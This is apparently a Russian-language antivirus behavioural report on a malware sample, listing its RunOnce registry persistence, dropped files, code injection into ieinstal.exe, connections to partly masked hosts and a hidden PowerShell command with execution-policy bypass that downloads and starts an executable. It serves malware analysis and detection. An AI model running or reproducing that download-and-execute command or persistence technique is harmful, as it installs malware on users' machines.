Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce] 'Txsg' = '%HOMEPATH%\Txsg.hta'
Вредоносные функции
Загружает и запускает на исполнение
- http://no##fry.com/txsgymo_signed_.exe как %appdata%\txsgymo_signed_.exe
Внедряет код в
следующие пользовательские процессы:
- ieinstal.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\abctfhghgdghghž.sct
- %APPDATA%\txsgymo_signed_.exe
- %HOMEPATH%\txsgecr.exe
- %HOMEPATH%\txsg.hta
- %APPDATA%\hyuk\logs.dat
Сетевая активность
Подключается к
- 'ka####gan2.ddns.net':4447
TCP
Запросы HTTP GET
- http://no##fry.com/Txsgymo_Signed_.exe
UDP
- DNS ASK no##fry.com
- DNS ASK cd#.##scordapp.com
- DNS ASK ka####gan2.ddns.net
Другое
Создает и запускает на исполнение
- '%APPDATA%\txsgymo_signed_.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://no##fry.com/Txsgymo_Signed_.exe','%APPDATA%\Txsgymo_Signed_.exe');Star...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles(x86)%\internet explorer\ieinstal.exe'
